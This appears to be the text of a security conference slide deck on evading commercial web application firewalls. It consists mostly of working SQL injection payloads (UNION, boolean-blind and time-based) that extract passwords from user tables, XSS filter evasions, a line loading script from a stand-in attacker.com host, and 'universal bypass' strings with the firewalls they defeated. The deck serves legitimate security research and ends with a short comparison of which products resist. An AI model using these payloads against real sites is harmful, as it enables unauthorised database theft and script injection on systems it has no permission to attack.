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detected by filters



Web Application Firewalls 
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Akamai

1' and 0 UNION SELECT 1,password,1 FROM users
403 FORBIDDEN

1' and 0 /* UNION SELECT 1,password,1 FROM users */
200 OK

-1 and ''='/*' UNION SELECT password FROM USERS 
LIMIT 1 /**/
200 OK - BYPASSED



Akamai Blind-Based

1' and (select password from accounts limit 1)
403 FORBIDDEN

1' and (select json_arrayagg(password) from accounts)
200 OK

1' and(select substring(json_arrayagg(password),1,1)from accounts)='a
403 FORBIDDEN

1' and (select json_arrayagg(password) from accounts) LIKE 'a%
200 OK



Akamai  —  Detection phase

1' and '1'='1
403 FORBIDDEN

1' and 0 < '1
200 OK

1' and '1
200 OK

1' && '1'='1
200 OK    MySQL



SQL injection detection phase

1' and TRUE -- -
1' and FALSE -- -

1' and '1
1' and '0

1' and 'a
1' and '
1' and not 'a
1' and not '

MySQL, PostgreSQL, SQLite

1' and '1'='1
403 FORBIDDEN

Don't use a comparison!



SQL injection detection phase

1' and '1
1' and '0

1' and 'true
1' and 'false
1' and 'tru
1' and 'tr
1' and 't
1' and 'f
1' and 'fa
1' and 'fal
1' and 'fals

Only PostgreSQL

1' and 'yes
1' and 'no
1' yes 'ye
1' and 'y
1' and 'n

1' and 'on
1' and 'off
1' and 'of

1' and '    t

Avoid comparisons



SQL injection detection phase

1' and '1whatever TRUE
1' and '0whatever FALSE
1' and '2whatever TRUE
1' and '3whatever TRUE
1' and '4whatever TRUE
1' and '5whatever TRUE
1' and '6whatever TRUE
1' and '7whatever TRUE
1' and '8whatever TRUE
1' and '9whatever TRUE

1' and 'xwhatever FALSE

MySQL and SQLite

Avoid comparisons



SQL injection detection phase

1' and '1' LIKE '1
1' and '1' ILIKE '1

1' and '1' ~~ '1
1' and '1' !~~ '1
1' and '1' ~~* '1
1' and '1' !~~* '1

Only PostgreSQL

1' and '1' ~ '1
1' and '1' !~ '1
1' and '1' ~* '1
1' and '1' !~* '1

 ~ matches REGEXP
~* case insensitive

Avoid common operators
 < > <= >= = != 



SQL injection detection phase

?sqli=1' - '0
?sqli=1' - '1
?sqli=1' + '0
?sqli=1' + '1
?sqli=1' * '1
?sqli=1' * '0
?sqli=1' / '1
?sqli=1' / '0
?sqli=1' % 1'
?sqli=10' % '3

All DBMS

?sqli=1' & '1
?sqli=1' & '0
?sqli=0' | '1
?sqli=0' | '0
?sqli=1' ^ '0
?sqli=1' ^ '1

Avoid comparisons:

+ Use arithmetic operations 
+ Use bitwise operations



SQL injection detection phase

?sqli=1' and 1 IS NOT NULL -- -
?sqli=1' and NULL IS NOT NULL –- -

?sqli=1' and 0 is distinct from '1
?sqli=1' and 0 is not unknown –- -

?sqli=1' and 1 in (1) -- -

?sqli=1' and '2' BETWEEN '0' AND '1  

All DBMS

Avoid common operators
 < > <= >= = != 



SQL injection detection phase

?sqli=1' and '1
?sqli=1' && '1
?sqli=1' or '1
?sqli=1' || '1

Only MySQL

Avoid keywords



SQL injection detection phase

?sqli=1''
?sqli=1'

SELECT 'hell''o';
 hell'o

WHERE id='1'''  
WHERE id='1''  <- ERROR 

All DBMS

Avoid spaces
Avoid operators
Avoid comparisons
Avoid keywords

Roberto Salgado
@LightOS

https://x.com/lightos


SQL injection detection phase

?sqli=1' and '1' like '1
?sqli=1'and'1'like'1
?sqli=(1)and(1)like'1

?sqli=1' and '1' between '0' and '2
?sqli=1'and'1'between'0'and'2

All DBMS

Avoid spaces



SQL injection detection phase All DBMS

The SQL injection filter evasion cheat sheet

https://nzt-48.org/sql-injection-filter-evasion-cheat-sheet 

https://nzt-48.org/sql-injection-filter-evasion-cheat-sheet


Akamai - Blind time-based injections

MySQL
1'AND'/*'=sleep(10)or'X

PostgreSQL
1'and''!='/*'and pg_sleep(10)is not null or ''='*/

MSSQL
1'and'/*'!='-- /*'waitfor delay'00:00:10'/**/-- a



Akamai  —  Cross-Site Scripting

     <script>
  &lt;script&gt;
   %3cscript%3e
 %253cscript%253e

<input >  id="x"onfocus="" autofocus />
200 OK

<input &gt; id="x"onfocus="" autofocus />
200 OK

          @Brumens2

https://x.com/brumens2




Symantec (Broadcom) MySQL

-1 UNION SELECT password FROM users
403 FORBIDDEN

-1  /* UNION SELECT password FROM users */
200 OK

-1 and 0='/*' UNION SELECT password FROM USERS /**/
403 FORBIDDEN



Symantec (Broadcom) MySQL

-1 /* UNION SELECT password FROM users */
200 OK

-1 # /* %0A  UNION SELECT password FROM users –- */
200 OK - BYPASSED



Symantec (Broadcom) - Simple Quote All-DBMS

-1' –- /*  UNION SELECT password FROM users */
200 OK

-1' –- /* %0A UNION SELECT password FROM users –- */
403 FORBIDDEN

-1' AND '–- /*' UNION SELECT password FROM users –- */
403 FORBIDDEN

-1' AND /* '–- /*' UNION SELECT password FROM users –- */
200 OK

-1' AND '/*' = '–- /*' UNION SELECT password FROM users –- */
200 OK



Symantec (Broadcom) - Detection phase

1' and '1'='1
403 FORBIDDEN

1' and TRUE
1' and '1
200 OK

MySQL
1' and (values row(1))-- 
TRUE
1' and (values row(0))-- 
FALSE

PostgreSQL

1' and '1' like '1
403 FORBIDDEN
1' and '1' ilike '1
200 OK

1' and 1 NOTNULL -- -
1' and null NOTNULL –- -



Symantec - Blind time-based injections

MySQL
1'and'/*'!='-- /*'and sleep(4)='*/

PostgreSQL
1'and'/*'!='-- /*'and pg_sleep(4)is not null and 
''='*/

MSSQL
1'and'/*'!='-- /*'waitfor delay'00:00:04'/**/-- a



Symantec (Broadcom) - XSS

<img src onerror="alert()" />
403 FORBIDDEN

<img src > onerror=""
200 OK

<img src &gt; onerror="" />
200 OK

<img src &gt; onerror="alert()" />
403 FORBIDDEN

Pad with 7 zeroes:
<img src &gt; onerror="alert&#x000000028;%26rpar;" />

@Brumens2

http://x.com/Brumens2?ref=weekly.infosecwriteups.com






Oracle

1' and 0 UNION SELECT 1,password,1 FROM users LIMIT 1
403 FORBIDDEN

1' and 0 /* UNION SELECT 1,password,1 FROM users LIMIT 
1 */
200 OK

1' and ''='/*' UNION SELECT 1,password,1 FROM users 
LIMIT 1 /**/
200 OK - BYPASSED



Oracle

1' and (select password from accounts)
403 FORBIDDEN

1' and (select password blabla bla from accounts)
200 OK

1' and (select password as p from account)
200 OK



1' and '1'='1
403 FORBIDDEN

1' and 0 < '1
1' and TRUE –- -
200 OK

Oracle  —  Detection phase

1' and '1' like '1
403 FORBIDDEN

1' and '1'like'1
1' and '1' not like '0
1' and '1' ilike '1
1' and '1' rlike '1
200 OK



Oracle - Blind time-based injections

MySQL
1'and'/*'=(sleep(4))or'*/

PostgreSQL
1'and''!='/*'and(pg_sleep(10)is not null)or''='*/

MSSQL
1'and''!='/*'waitfor delay'00:00:04'-- */



Oracle XSS

<input onfocus="alert()" autofocus />
403 FORBIDDEN

<input %253e onfocus="alert()" autofocus />
403 FORBIDDEN

<input %253e onfocus="&#x061;lert()" autofocus />
403 FORBIDDEN

Pad with 31 zeros 200 OK
<input %253e 
onfocus="&#x000000000000000000000000000000061;lert()" 
autofocus />





F5

-1' UNION SELECT password FROM users LIMIT 1
403 FORBIDDEN

-1' -- AA %0A UNION SELECT password FROM users LIMIT 1
200 OK



F5 Boolean blind-based

1' and (select substring(password,1,1) from users where id=1)='A
403 FORBIDDEN

1' and (select TRUE from users where id=1 AND password LIKE 'A%')
403 FORBIDDEN

1'and(select(TRUE)from users where id=1 AND password LIKE'A%')or'0
200 OK



F5 Detection phase

1' and '1'='1
403 FORBIDDEN

All DBMS
1' and 'a'='a
1' and '1
1'&'1
0'|'1
200 OK

PostgreSQL
1' and 'true
200 OK

MySQL, SQLite
1' and not 'blabla
200 OK



F5 - Blind time-based injections

MySQL
1' and!sleep(#%a0%0a10)or'

PostgreSQL
1' and pg_sleep-- lo %0d (4)::char!='0

MSSQL
1'waitfor-- lo %0ddelay'00:00:04'-- -



F5 Cross-Site Scripting

I couldn't bypass the Cross-Site Scripting rules...





-1' UNION SELECT pwd,1,1,1 from users LIMIT 1 –- -
403 FORBIDDEN

-1' UNION bla bla SELECT pwd,1,1,1 from users LIMIT 1 –- -
200 OK 

PostgreSQL, SQLite
-1' UNION VALUES ((SELECT pwd from users LIMIT 1),1,1,1)–- 
200 OK

MySQL
-1' UNION VALUES ROW((SELECT pwd from users LIMIT 1),1,1,1)–- 
200 OK

Amazon Cloudfront Boolean blind-based



Amazon Cloudfront Boolean blind-based

MySQL
1' and (VALUES ROW((select mid(password,1,1) from users 
limit 1)))='A
200 OK - BYPASSED

PostgreSQL, SQLite
1' and (VALUES ((select substring(password,1,1) from 
users limit 1)))='A
200 OK - BYPASSED



Amazon Cloudfront Boolean blind-based

1' and -- /* %0a and (select substring(password,1,1) from 
users limit 1)='A' /* */
200 OK - BYPASSED



Amazon Cloudfront

1' and '1'='1
403 FORBIDDEN

1' and '1
403 FORBIDDEN

PostgreSQL

1' and '1' ilike '1
1' and 1 notnull –- -
1' and null isnull –- -
200 OK - BYPASS

1'&'1
1'-'1
1'-'0
200 OK - BYPASS



Cloudfront - Blind time-based injections

MySQL
1'and(values row((sleep(4))))!='0

PostgreSQL
1'AND(pg_sleep -- not(%0d(4)::char='')or'0

MSSQL
1'waitfor -- lo %0d delay'00:00:04' -- -



Amazon Cloudfront Cross-Site Scripting

<img src onload=
200 OK

<img src onload=""
403 FORBIDDEN

<img src onload=a
403 FORBIDDEN

<img src onload=%ff
200 OK

<img src onload=%ffa
403 FORBIDDEN

<img src onload=%ff%00%ff
200 OK

<img src onload=%ff%00 
onmouseover=
200 OK

<img src onload=%ff%00%ffAAA 
onerror=alert() onclick=alert()
onmouseover=alert() />
200 OK - BYPASSED





Imperva Incapsula

1' AND (select mid(password,1,1) from users limit 1)='A
403 FORBIDDEN

1' && (select(mid(password,1,1))from users limit 1)='A
200 OK - BYPASSED



Imperva Incapsula

1' AND (select
403 FORBIDDEN

1' AND (VALUES ROW((select password)))
200 OK

1' AND (VALUES ROW((select password from users limit 1)))
403 FORBIDDEN

1' AND (VALUES ROW((select(password)from users limit 1)))
200 OK

1' AND (VALUES ROW((select(password)from users limit 1))) LIKE 'a%
200 OK - BYPASSED



Imperva Incapsula

MySQL

1' AND (VALUES ROW((select(password)from users limit 1))) LIKE 'a%
200 OK - BYPASSED

PostgreSQL

1' AND (VALUES(ROW((select(password)from users limit 1)))) LIKE 'a%
200 OK - BYPASSED



Imperva Incapsula

1' and '1'='1
403 FORBIDDEN

1' and '1
200 OK 

PostgreSQL
1' and '1' ~~ '1
1' and 1 is not null -- -
200 OK - BYPASSED



Imperva - Blind time-based injections

MySQL
1'&&' /*'=sleep(/**/4)or'0

PostgreSQL
1' and pg_sleep -- lo %0d (4) is not null or'0

MSSQL
1'  waitfor -- LO %0d delay'00:00:04' -- -



Imperva Incapsula  —  Cross-Site Scripting

<input onfocus="['a\l\ert']``" autofocus />
403 FORBIDDEN

<input onfocus="['a\l\ert']&DiacriticalGrave;`" autofocus />
200 OK

<input onfocus="window['a\l\ert']&DiacriticalGrave;`" autofocus />
403 FORBIDDEN

<input onfocus="w\u0069ndow['a\l\ert']&DiacriticalGrave;`" autofocus />
403 FORBIDDEN

<input onfocus="w\u{69}ndow['a\l\ert']&DiacriticalGrave;`" autofocus />
403 FORBIDDEN

<input onfocus="w\u&lcub;69}ndow['a\l\ert']&DiacriticalGrave;`" autofocus />
200 OK - BYPASSED





Wordfence

-1' UNION SELECT password,1,1,1 FROM users LIMIT 1–- -
403 FORBIDDEN

-1' UNION SELECT password,1,1,1 FROM users %A0 LIMIT 1–- -
200 OK - BYPASSED
MySQL, SQLite



Wordfence

1' AND (SELECT mid(password,1,1) FROM users %A0 LIMIT 1)='A
200 OK - BYPASSED
MySQL, SQLite



Wordfence

-1' UNION SELECT password,1,1,1 FROM users LIMIT 1 –- -
403 FORBIDDEN

-1' /* UNION SELECT password,1,1,1 FROM users LIMIT 1 */
200 OK

-1' and ''='/*' UNION SELECT password,1,1,1 FROM users 
LIMIT 1 /**/
200 OK - BYPASSED



Wordfence Boolean-based Blind

-1' and ''!='/*' and (SELECT password FROM users LIMIT 1 
) LIKE 'A%' /**/
200 OK - BYPASSED



Wordfence - Blind time-based injections

MySQL
1'and'1/*' and!(sleep(4))/**/or'0

PostgreSQL
1'and''!='1/*'and(pg_sleep(10)is not null)/**/or'0

MSSQL
1'and'/*'!='--'waitfor delay '00:00:10' /**/-- -



Wordfence Cross-Site Scripting

I couldn't bypass the XSS filters…





Cloudflare

Bugcrowd: 63/149 42%

Hackerone: 75/165 45%



Cloudflare

-1 union select 1,1,password,1 from users limit 1 -- -
403 FORBIDDEN

-1' union(select 1,1,password,1 from users limit 1)and '1
200 OK - BYPASSED



Cloudflare

-1' UNION SELECT password from users limit 1 -- -
403 FORBIDDEN

-1' UNION -- AAA %0A SELECT password from users LIMIT 1--
200 OK - BYPASSED



Cloudflare

1' and (select password -- AAA %0a from users limit 1) 
LIKE 'A%25
200 OK - BYPASSED



Cloudflare

1' and '0' /* UNION SELECT password from users LIMIT 1-- */
200 OK

-1' -- /* %0a UNION SELECT password from users LIMIT 1 -- */
200 OK - BYPASSED



Cloudflare - Blind time-based injections

MySQL
1'and('/* -- '=sleep(10))/**/and'1

PostgreSQL
1'and'/* -- '!=pg_sleep(10)::char/**/and'1

MSSQL
1'and'/*'!='--'waitfor delay '00:00:10' /**/-- -



Cloudflare Cross-Site Scripting

<img onerror="top['lo\c\at\ion'] = 'javascript:alert\u{28})'" src/>
403 FORBIDDEN

                   \x61  \141 \u0061
<img onerror="top['loc\x61tion'] = 'javascript:alert\u{28})'" src/>
403 FORBIDDEN

<img onerror="top['loc\u{61}tion'] = 'javascript:alert\u{28})'" src/>
200 OK - BYPASSED





???

SELECT ... FROM

-1' and (SELECT ... FROM)



TABLE users;   WHERE        ORDER BY          LIMIT



mysql> VALUES ROW(0, 0x7a, 0x7a, 0x7a)
    -> UNION (TABLE users LIMIT 1);
+----------+----------+----------------------------------+---------------+
| column_0 | column_1 | column_2                         | column_3      |
+----------+----------+----------------------------------+---------------+
|        0 | z        | z                                | z             |
|        1 | admin    | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
+----------+----------+----------------------------------+---------------+
2 rows in set (0.03 sec)



mysql> VALUES ROW(0, 0x7a, 0x7a, 0x7a)
    -> UNION (TABLE users LIMIT 1)
    -> ORDER BY IF( column_2 REGEXP '^A' , NULL, column_0);
+----------+----------+----------------------------------+---------------+
| column_0 | column_1 | column_2                         | column_3      |
+----------+----------+----------------------------------+---------------+
|        0 | z        | z                                | z             |
|        1 | admin    | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
+----------+----------+----------------------------------+---------------+
2 rows in set (0.00 sec)



mysql> VALUES ROW(0, 0x7a, 0x7a, 0x7a)
    -> UNION (TABLE users LIMIT 1)
    -> ORDER BY IF( column_2 REGEXP '^2' , NULL, column_0);
+----------+----------+----------------------------------+---------------+
| column_0 | column_1 | column_2                         | column_3      |
+----------+----------+----------------------------------+---------------+
|        1 | admin    | 21232f297a57a5a743894a0e4a801fc3 | admin@lab.com |
|        0 | z        | z                                | z             |
+----------+----------+----------------------------------+---------------+
2 rows in set (0.00 sec)



?sqli=1' and (VALUES row(0, 0x7a, 0x7a, 0x7a)
UNION (TABLE users LIMIT 1,1)
ORDER BY ( IF( column_2 REGEXP '^A' , column_0, NULL ))
LIMIT 1) = (0, 0x7a, 0x7a, 0x7a) -- -

+----------+----------+----------------------------------+--------------+
| column_0 | column_1 | column_2                         | column_3     |
+----------+----------+----------------------------------+--------------+
|        0 | z        | z                                | z            |
+----------+----------+----------------------------------+--------------+



?sqli=1' and (VALUES row(0, 0x7a, 0x7a, 0x7a)
UNION (TABLE users LIMIT 1,1)
ORDER BY ( IF( column_2 REGEXP '^A' , column_0, NULL ))
LIMIT 1) = (0, 0x7a, 0x7a, 0x7a) -- -

+----------+----------+----------------------------------+--------------+
| column_0 | column_1 | column_2                         | column_3     |
+----------+----------+----------------------------------+--------------+
|        0 | z        | z                                | z            |
+----------+----------+----------------------------------+--------------+

In PostgreSQL, it is not possible to have a 
conditional ORDER BY in a query that uses 

UNION.



1' and ((1,'a','z','z') < (table users limit 1))-- -TRUE
1' and ((1,'b','z','z') < (table users limit 1))-- -FALSE
1' and ((1,'aa','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'ab','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'ac','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'ad','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'ae','z','z') < (table users limit 1))-- - FALSE
1' and ((1,'ada','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'adb','z','z') < (table users limit 1))-- - TRUE
... TRUE
1' and ((1,'adm','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'adn','z','z') < (table users limit 1))-- - FALSE
1' and ((1,'adma','z','z') < (table users limit 1))-- -TRUE
...
1' and ((1,'admin','z','z') < (table users limit 1))-- -FALSE
1' and ((1,'admin',0x00,'z') < (table users limit 1))-- -TRUE
1' and ((1,'admin','a','z') < (table users limit 1))-- -TRUE
1' and ((1,'admin','ab','z') < (table users limit 1))-- -TRUE
...



1' and ((1,$$a$$,$$z$$,$$z$$) < (table users limit 1))-- - TRUE
1' and ((1,$$b$$,$$z$$,$$z$$) < (table users limit 1))-- - FALSE
1' and ((1,$$aa$$,$$z$$,$$z$$) < (table users limit 1))-- - TRUE
1' and ((1,$$ab$$,$$z$$,$$z$$) < (table users limit 1))-- - TRUE
1' and ((1,$$ac$$,$$z$$,$$z$$) < (table users limit 1))-- - TRUE
1' and ((1,$$ad$$,$$z$$,$$z$$) < (table users limit 1))-- - TRUE
1' and ((1,$$ae$$,$$z$$,$$z$$) < (table users limit 1))-- - FALSE
1' and ((1,$$ada$$,$$z$$,$$z$$) < (table users limit 1))-- -TRUE
1' and ((1,$$adb$$,$$z$$,$$z$$) < (table users limit 1))-- -TRUE
... TRUE
1' and ((1,$$adm$$,$$z$$,$$z$$) < (table users limit 1))-- -TRUE
1' and ((1,$$adn$$,$$z$$,$$z$$) < (table users limit 1))-- -FALSE
1' and ((1,$$adma$$,$$z$$,$$z$$) < (table users limit 1))-- -TRUE
...
1' and ((1,$$admin$$,$$z$$,$$z$$) < (table users limit 1))-- -FALSE
1' and ((1,$$admin$$,0x00,$$z$$) < (table users limit 1))-- -TRUE
1' and ((1,$$admin$$,$$a$$,$$z$$) < (table users limit 1))-- -TRUE
1' and ((1,$$admin$$,$$ab$$,$$z$$) < (table users limit 1))-- -TRUE
...



1' and ((1,$bla$a$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- - TRUE
1' and ((1,$bla$b$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- - FALSE
1' and ((1,$bla$aa$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- - TRUE
1' and ((1,$bla$ab$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- - TRUE
1' and ((1,$bla$ac$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- - TRUE
1' and ((1,$bla$ad$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- - TRUE
1' and ((1,$bla$ae$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- - FALSE
1' and ((1,$bla$ada$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- - TRUE
1' and ((1,$bla$adb$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- - TRUE
... TRUE
1' and ((1,$bla$adm$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- - TRUE
1' and ((1,$bla$adn$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- - FALSE
1' and ((1,$bla$adma$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- -TRUE
...
1' and ((1,$bla$admin$bla$,$bla$z$bla$,$bla$z$bla$) < (table users limit 1))-- -FALSE
1' and ((1,$bla$admin$bla$,0x00,$bla$z$bla$) < (table users limit 1))-- -TRUE
1' and ((1,$bla$admin$bla$,$bla$a$bla$,$bla$z$bla$) < (table users limit 1))-- -TRUE
1' and ((1,$bla$admin$bla$,$bla$ab$bla$,$bla$z$bla$) < (table users limit 1))-- -TRUE
...

Double dollar sign string delimiter:   $tag$string$tag$



1' and ((1,$bla$a$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -TRUE
1' and ((1,$bla$b$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -FALSE
1' and ((1,$bla$aa$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -TRUE
1' and ((1,$bla$ab$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -TRUE
1' and ((1,$bla$ac$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -TRUE
1' and ((1,$bla$ad$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -TRUE
1' and ((1,$bla$ae$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -FALSE
1' and ((1,$bla$ada$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -TRUE
1' and ((1,$bla$adb$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -TRUE
... TRUE
1' and ((1,$bla$adm$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -TRUE
1' and ((1,$bla$adn$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -FALSE
1' and ((1,$bla$adma$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -TRUE
...
1' and ((1,$bla$admin$bla$,$bla$z$bla$,$bla$z$bla$) < ANY (table users limit 1))---FALSE
1' and ((1,$bla$admin$bla$,0x00,$bla$z$bla$) < ANY (table users limit 1))-- -TRUE
1' and ((1,$bla$admin$bla$,$bla$a$bla$,$bla$z$bla$) < ANY (table users limit 1))-- -TRUE
1' and ((1,$bla$admin$bla$,$bla$ab$bla$,$bla$z$bla$) < ANY (table users limit 1))---TRUE
...

Double dollar sign string delimiter:   $tag$string$tag$



ModSecurity - Blind time-based injections

MySQL
1' and!(values row(sleep -- %0a (10)))or'0

PostgreSQL
1'and pg_sleep -- lo %0d (10)::char='

MSSQL
1'-- lo %0d and not 0 like'-- 'waitfor delay-- lo 
%0d'00:00:10'-- -





Microsoft Azure

1' and (VALUES row(0, 0x7a, 0x7a, 0x7a)
UNION (TABLE users LIMIT 1,1)
ORDER BY ( IF((column_2 REGEXP '^A'), column_0, NULL ))
LIMIT 1) = (0, 0x7a, 0x7a, 0x7a) -- -

403 FORBIDDEN



1' and ((1,'a','z','z') < (table users limit 1))-- -TRUE
1' and ((1,'b','z','z') < (table users limit 1))-- -FALSE
1' and ((1,'aa','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'ab','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'ac','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'ad','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'ae','z','z') < (table users limit 1))-- - FALSE
1' and ((1,'ada','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'adb','z','z') < (table users limit 1))-- - TRUE
... TRUE
1' and ((1,'adm','z','z') < (table users limit 1))-- - TRUE
1' and ((1,'adn','z','z') < (table users limit 1))-- - FALSE
1' and ((1,'adma','z','z') < (table users limit 1))-- -TRUE
...
1' and ((1,'admin','z','z') < (table users limit 1))-- -FALSE
1' and ((1,'admin',0x00,'z') < (table users limit 1))-- -TRUE
1' and ((1,'admin','a','z') < (table users limit 1))-- -TRUE
1' and ((1,'admin','ab','z') < (table users limit 1))-- -TRUE
...



Microsoft Azure MySQL

1' and ((1,'admin','a','z')   < (table users limit 1))-- -
403 FORBIDDEN

1' and ((table users limit 1) > ROW(1,'admin','a','z'))-- -
403 FORBIDDEN

' and ((table users limit 1) > ROW(1,0x61646d696e,0x61,0x7a))
403 FORBIDDEN

' and ((table users limit 1) > 
ROW(1,0b0110000101100100011011010110100101101110, 
00b01100001, 0b01111010))
403 FORBIDDEN



Microsoft Azure MySQL

1' and((table users limit 1) > 
row(1,0b0110101100110...0101101010101110,0x61,0x7a))-- -
403 FORBIDDEN 

1' and((table users limit 1) > 
row(1,0b0110101100110...0101101010101110,0x61,0x7a)) or 0 div '1
403 FORBIDDEN

1' and((table users limit 1) > 
row(1,0b0110101100110...0101101010101110,0x61,0x7a)) || 0 div '1
200 OK!



Microsoft Azure PostgreSQL

1' and   ((table users limit 1) > (1,'admin', 'A', ' '))
SYNTAX ERROR

1' and   ((1,'admin', 'A', ' ') < (table users limit 1))
403 FORBIDDEN

1' and ((1,$$admin$$,$$A$$,$$ $$) < (table users limit 1))
403 FORBIDDEN

1' + ((1,$$admin$$,$$A$$,$$$$) < ANY(table users limit 1))::int+'0
200 OK





Radware        MySQL

?sqli=1' and (VALUES row(0, 0x7a, 0x7a, 0x7a)
UNION (TABLE users LIMIT 1,1)
ORDER BY ( IF((column_2 REGEXP '^A'), column_0, NULL )) LIMIT 
1) = (0, 0x7a, 0x7a, 0x7a) -- -
403 FORBIDDEN

?sqli=1' and (VALUES row(0, 0x7a, 0x7a, 0x7a)
UNION (TABLE users ORDER BY CASE WHEN '/*' THEN null ELSE 
null END LIMIT 1,1)
ORDER BY ( IF((column_2 REGEXP '^A'), column_0, NULL )) LIMIT 
1) = (0, 0x7a, 0x7a, 0x7a) -- -
403 FORBIDDEN



Radware      MySQL

?sqli=1' and (VALUES row(0, 0x7f, 0x7f, 0x7f)
UNION (TABLE users LIMIT 1,1)
ORDER BY ( IF((column_2 REGEXP '^A'), column_0, NULL )) LIMIT 
1) = (0, 0x7a, 0x7a, 0x7a) -- -
403 FORBIDDEN

?sqli=1' and (VALUES row(0, 0x7a, 0x7a, 0x7a)
UNION -- AAA /* %0a (TABLE users ORDER BY CASE WHEN '/*' THEN 
null ELSE null END LIMIT 1,1)
ORDER BY ( IF((column_2 REGEXP '^A'), column_0, NULL )) LIMIT 
1) = (0, 0x7a, 0x7a, 0x7a) -- -
200 OK!



Radware - Blind time-based injections

PostgreSQL
1'and(select -- %0a pg_sleep(4)::char)!='0



Radware - Blind time-based injections

MySQL

1' && !(sleep -- lo ) %0a (10))or '0              —-------------



Radware - Blind time-based injections

MSSQL
1%27%20--%20blablablablablablablablablablablablablab
lablablablablablablablablablablablablablablablablabl
ablablablablablablablablablablablablablablablablabla
blablablablablablablablablablablablablabla%0d%20wait
for%20--%20lo%20%0ddelay%2700:00:10%27--%20-

Add 185 bytes!







Indusface AppTrana MySQL

-1' and (VALUES ROW(0,0x7a,0x7a,0x7a)
UNION (TABLE users LIMIT 1,1)
ORDER BY case when password REGEXP '^a' then id else null end 
LIMIT 1) = (0,0x7a,0x7a,0x7a)--

200 OK - BYPASSED





Barracuda  MySQL, PostgreSQL, SQLite

1' and (select -- aaa %0A password from users limit 1) like 'A%

200 OK - BYPASSED



Barracuda - Blind time-based injections

MySQL
1'&&!sleep(4)or'0

PostgreSQL
1'and(select -- %0a pg_sleep(4)::char)!='0

MSSQL
1'waitfor delay'00:00:04'; select 1 -- -



Barracuda Cross-site scripting

<a href="ja%0av%0aasc%0arip%0at:alert()">AAAAAAA...

200 OK - BYPASSED

<base href="//attacker.com/xss.js/">AAAAAAA...

200 OK - BYPASSED

<input type=submit formaction="ja%0av%0aasc%0arip%0at:alert()" />

200 OK - BYPASSED





Function calls -

Comments between function name and parentheses

PostgreSQL

1' and pg_sleep(10)

1' and pg_sleep /* comment */ (10)

1' and pg_sleep -- comment %0a (10)  403 

1' and pg_sleep -- comment %0d (10)  200



A WAF behind a WAF



A WAF behind a WAF



Universal WAF Bypass?



Universal WAF Bypass? MySQL

1' and(values row(-10,310,310,310) union (TABLE users limit 1) 
ORDER BY(case when not(column_2 REGEXP '^2')then(column_0)end) 
LIMIT 1) != (-10,310,310,310)or'0
200 OK!

Amazon Cloudfront
Oracle
Cisco
Cloudflare
Akamai
Barracuda
Symantec

F5
Imperva
Fortinet
Wordfence
Indusface

OWASP ModSecurity Core Rule Set
Microsoft Azure
Radware



Universal WAF Bypass? MySQL

1'and((table users limit 1) > row(1, 
0b0110000101100100011011010110100101101110,0x32,' '))||0 div '1
200 OK!

OWASP ModSecurity Core Rule Set
Amazon Cloudfront
Oracle
Cisco
Cloudflare
Akamai
Barracuda
Symantec

F5
Imperva
Fortinet
Wordfence
Indusface
Microsoft Azure
Radware



Universal WAF Bypass? PostgreSQL

1'+((1,$$admin$$,$$21$$,$$%20$$) < any(table user 
limit 1))::int+'0

OWASP ModSecurity Core Rule Set
Amazon Cloudfront
Oracle
Cisco
Cloudflare
Akamai
Barracuda
Symantec

F5
Imperva
Fortinet
Wordfence
Indusface
Microsoft Azure
Radware





Conclusions



Conclusions

All the WAFs that implement a parser where defeated with 
these 4 techniques:

1='/*' ... /**/

-- /* %0A

pg_sleep -- blabla %0d (10)

<xss &gt; onload=



Conclusions

Always test with
time-based injections



Conclusions

Sometimes, fingerprinting WAFs is difficult.

Tool yet to be released
nzt-48.org

X: @ruben_v_pina



Conclusions

WAFs with good XSS rules:

Microsoft Azures
ModSecurity
Wordfence
Radware
Sucuri
F5



Conclusions

WAFs with good SQLi rules:

 ModSecurity 
 Microsoft Azure 
 Radware 
 Sucuri 



Conclusions

WAFs that I would recommend



Conclusions

Other WAFs that I haven't tested

Sophos
Citrix Netscaler
Immunify360
ZenEdge
Sitelock
GoCache

Huawei Cloud WAF
Tiger protect
MyraCloud
Tencent
Qrator Labs
Qi Anxin WAF
Sonic Wall

Alibaba
Scutum
Reblaze
StackPath
NewCloud



Conclusions

Suggested research:

